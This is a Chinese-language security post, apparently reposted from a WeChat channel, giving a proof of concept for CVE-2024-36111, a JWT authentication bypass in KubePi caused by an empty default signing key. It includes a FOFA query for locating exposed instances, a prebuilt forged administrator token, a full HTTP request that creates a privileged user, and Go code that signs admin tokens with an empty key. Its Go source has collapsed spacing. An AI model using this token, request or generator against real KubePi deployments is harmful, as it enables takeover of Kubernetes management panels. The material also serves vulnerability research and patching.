KubePi存在JWT验证绕过漏洞

kubepi jwttoken 校验存在缺陷，默认配置文件中jwt密钥为空，虽然读取配置文件相关逻辑中检测到密钥为空时，会生成一个随机32位字符串覆盖配置文件中的密钥，但是实际校验时，密钥为空，使用空密钥生成jwttoken可绕过登录校验，可直接接管后台

fofa

"kubepi"

poc

使用空密钥生成jwt token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfSwiaWF0IjoxNzE2NDQ3MDEyLCJleHAiOjE3MjI0NDcwMTJ9.dedNLwXZu0JY1sgGBCRZmpFvAnLdHjxdPmKWXA7LCf4

使用生成的密钥创建用户tang

POST /kubepi/api/v1/users HTTP/1.1
Host: 127.0.0.1:9982
Content-Length: 248
sec-ch-ua: 
Accept: application/json, text/plain, */*
lang: zh-CN
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://127.0.0.1:9982
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9982/kubepi/user-management/users/create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfSwiaWF0IjoxNzE2NDQ3MDEyLCJleHAiOjE3MjI0NDcwMTJ9.dedNLwXZu0JY1sgGBCRZmpFvAnLdHjxdPmKWXA7LCf4
Connection: close

{"apiVersion":"v1","kind":"User","name":"tang","roles":["Common User","Manage Image Registries","Manage Clusters","Manage RBAC"],"nickName":"tang","email":"[email protected]","authenticate":{"password":"12345678@Tang"},"mfa":{"enable":false,"secret":""}}

生成jwt token程序

package main

import(
"fmt"
"github.com/kataras/iris/v12/middleware/jwt"
"time"
)

var jwtMaxAge =100000* time.Minute

typeUserProfilestruct{
Namestring`json:"name"`
NickNamestring`json:"nickName"`
Emailstring`json:"email"`
Languagestring`json:"language"`
ResourcePermissionsmap[string][]string`json:"resourcePermissions"`
IsAdministratorbool`json:"isAdministrator"`
MfaMfa`json:"mfa"`
}

typeMfastruct{
Enablebool`json:"enable"`
Secretstring`json:"secret"`
Approvedbool`json:"approved"`
}

func main(){
    jwtSigner := jwt.NewSigner(jwt.HS256,"", jwtMaxAge)
    test :=map[string][]string{}
    profile :=UserProfile{
Name:"admin",
NickName:"Administrator",
Email:"[email protected]",
Language:"zh-CN",
ResourcePermissions: test,
IsAdministrator:true,
Mfa:Mfa{
Secret:"",
Enable:false,
Approved:false,
},
}
    nonejwt, _ := jwtSigner.Sign(profile)
    fmt.Println(string(nonejwt))
}

漏洞来源

• • https://github.com/1Panel-dev/KubePi/security/advisories/GHSA-8q5r-cvcw-4wx7

• 
  

原文始发于微信公众号（HACK之道）：CVE-2024-36111 POC